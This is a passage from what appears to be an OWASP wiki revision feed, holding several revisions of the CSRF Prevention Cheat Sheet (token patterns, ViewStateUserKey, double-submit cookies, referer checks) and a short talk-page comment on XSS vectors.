*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Checking Referer Header =&lt;br /&gt;
&lt;br /&gt;
The checking of the HTTP referer can be used to prevent CSRF. This method is desirable for securing embedded network hardware such as modems, routers, and printers because it does not increase memory requirements by adding a &amp;quot;per user state&amp;quot; in the form of a CSRF token.  The major limitation is that browsers will omit the referer in the HTTP header when a request is being sent from an HTTPS page to an HTTP page.  An attacker could use this to obscure the referer of a forged request,  and there for if this protection method is used the lack of a referer should be considered to be a forged request.  There are two known methods of bypass a referer check.  A [http://secunia.com/advisories/22467/ CRLF vulnerability] in the HTTP client could allow an attacker manipulate the HTTP request header and thus spoof the referer.  The other method is using XSS to write a form to a page on the target domain and then automatically submit the request. &lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks and special case reflected cross-site scripting attacks can be used to defeat token based CSRF defenses, since a malicious XSS script can simply read the site generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&lt;br /&gt;
&lt;br /&gt;
Eric Sheridan - eric.sheridan[at]aspectsecurity.com&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=120555</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=120555"/>
				<updated>2011-11-21T15:02:09Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Checking Referer Header =&lt;br /&gt;
&lt;br /&gt;
The Checking of the HTTP Referer can be used to prevent CSRF. This method is desirable for securing embedded network hardware such as modems, routers, and printers because it does not increase memory requirements by adding a &amp;quot;per user state&amp;quot; in the form of a CSRF token.  The major limitation is that browsers will omit the Referer in the http header when a request is being sent from an HTTPS page to an HTTP page.  An attacker could use this to obscure the referer of a forged request,  and there for if this protection method is used the lack of a referer should be considered to be a forged request.  There are two known methods of bypass a Referer check.  A [http://secunia.com/advisories/22467/ CRLF vulnerability] in the http client could allow an attacker manipulate the HTTP request header and thus spoof the referer.  The other method is using XSS to write a form to a page on the target domain and then automatically submit the request. &lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks and special case reflected cross-site scripting attacks can be used to defeat token based CSRF defenses, since a malicious XSS script can simply read the site generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&lt;br /&gt;
&lt;br /&gt;
Eric Sheridan - eric.sheridan[at]aspectsecurity.com&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-site_Scripting_(XSS)&amp;diff=116432</id>
		<title>Talk:Cross-site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-site_Scripting_(XSS)&amp;diff=116432"/>
				<updated>2011-08-30T04:50:50Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== XSS using Script Via Encoded URI Schemes ==&lt;br /&gt;
The page mentions XSS using Script Via Encoded URI Schemes, but what are the ways to prevent that? I don't see any matching rule in the cheat sheet. Can some library help? I'm personally interested in a PHP library.&lt;br /&gt;
&lt;br /&gt;
This page is also lacking other XSS vectors, such as CRLF Injection.  I (Michael Brooks) would like to add this if there are no objections.&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-site_Scripting_(XSS)&amp;diff=116431</id>
		<title>Talk:Cross-site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-site_Scripting_(XSS)&amp;diff=116431"/>
				<updated>2011-08-30T04:50:33Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== XSS using Script Via Encoded URI Schemes ==&lt;br /&gt;
The page mentions XSS using Script Via Encoded URI Schemes, but what are the ways to prevent that? I don't see any matching rule in the cheat sheet. Can some library help? I'm personally interested in a PHP library.&lt;br /&gt;
&lt;br /&gt;
This page is also lacking other XSS vectors, such as CRLF Injection.  I would like to add this if there are no objections.&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87368</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=87368"/>
				<updated>2010-08-06T00:13:38Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
